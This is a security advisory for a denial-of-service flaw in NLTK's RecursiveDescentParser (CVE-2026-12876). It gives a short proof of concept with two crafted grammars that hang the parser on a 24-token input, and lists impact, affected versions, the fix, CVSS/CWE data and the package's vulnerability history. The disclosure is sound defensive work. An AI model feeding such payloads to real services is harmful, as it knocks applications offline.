NLTK: Uncontrolled resource consumption in RecursiveDescentParser via ambiguous or left-recursive grammars
nltk.parse.RecursiveDescentParser (and SteppingRecursiveDescentParser) enumerate parses top-down with no bound on the number of recursive steps. A small, crafted context-free grammar makes a short input consume unbounded CPU (and/or exhaust the Python recursion stack), pinning a process indefinitely — a denial of service.
Proof of concept
Both of the following hang on a 24-token input (killed after 8s; growth is super-linear in input length), on NLTK develop:
from nltk import CFG
from nltk.parse import RecursiveDescentParser
# (a) left recursion -> unbounded recursion
g = CFG.fromstring("S -> S S | 'a'")
list(RecursiveDescentParser(g).parse(["a"] * 24)) # hangs
# (b) ambiguous grammar -> exponential number of parses
g = CFG.fromstring("S -> 'a' S | 'a' S S | 'a'")
list(RecursiveDescentParser(g).parse(["a"] * 24)) # hangsImpact
An application that runs RecursiveDescentParser on a grammar (or an input) drawn from an untrusted source can be driven into an unbounded CPU / stack-exhaustion loop by a tiny payload. No confidentiality or integrity impact; single-process availability only.
Sibling
The RegexpTokenizer ReDoS reported alongside this (CVE-2026-12875) is a different class (caller-supplied regex) and is addressed under GHSA-w3v8-gmh9-3wv7.
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| Python (PyPI) | nltk | < 3.10.3 | 3.10.3 |
References
- https://github.com/nltk/nltk/security/advisories/GHSA-ff5c-cp5c-9wjf
- https://github.com/nltk/nltk/pull/3649
- https://github.com/nltk/nltk/commit/43aaca1b9024138421c97f970bf13ee19ac8129d
- https://github.com/nltk/nltk
- https://github.com/nltk/nltk/releases/tag/v3.10.3
- https://pypi.org/project/nltk
- https://github.com/advisories/GHSA-ff5c-cp5c-9wjf
- https://nvd.nist.gov/vuln/detail/CVE-2026-12876
- CVSS vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N- Weakness (CWE)
CWE-407, CWE-674- Platform
- Python (PyPI)
- Package
nltk- Disclosed
- 02.09.2026
- Updated
- 11.10.2026 15:18
Sources and licenses
OSV / GitHub Advisory Database - PYSEC-2026-3869 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - GHSA-ff5c-cp5c-9wjf - CC BY 4.0
Vulnerability history: nltk
All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 52
- First → latest
- 08.2019 09.2026
- Without a fix
- 6
- Exploited in attacks
- 0
Severity breakdown
- Critical 5
- High 32
- Medium 13
- Low 2
Disclosures per year
- 2019: 1
- 2020: 0
- 2021: 2
- 2022: 1
- 2023: 0
- 2024: 1
- 2025: 0
- 2026: 47
-
NLTK: Uncontrolled resource consumption in RecursiveDescentParser via ambiguous or left-recursive grammars this entry
Know which vulnerabilities affect your application
With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.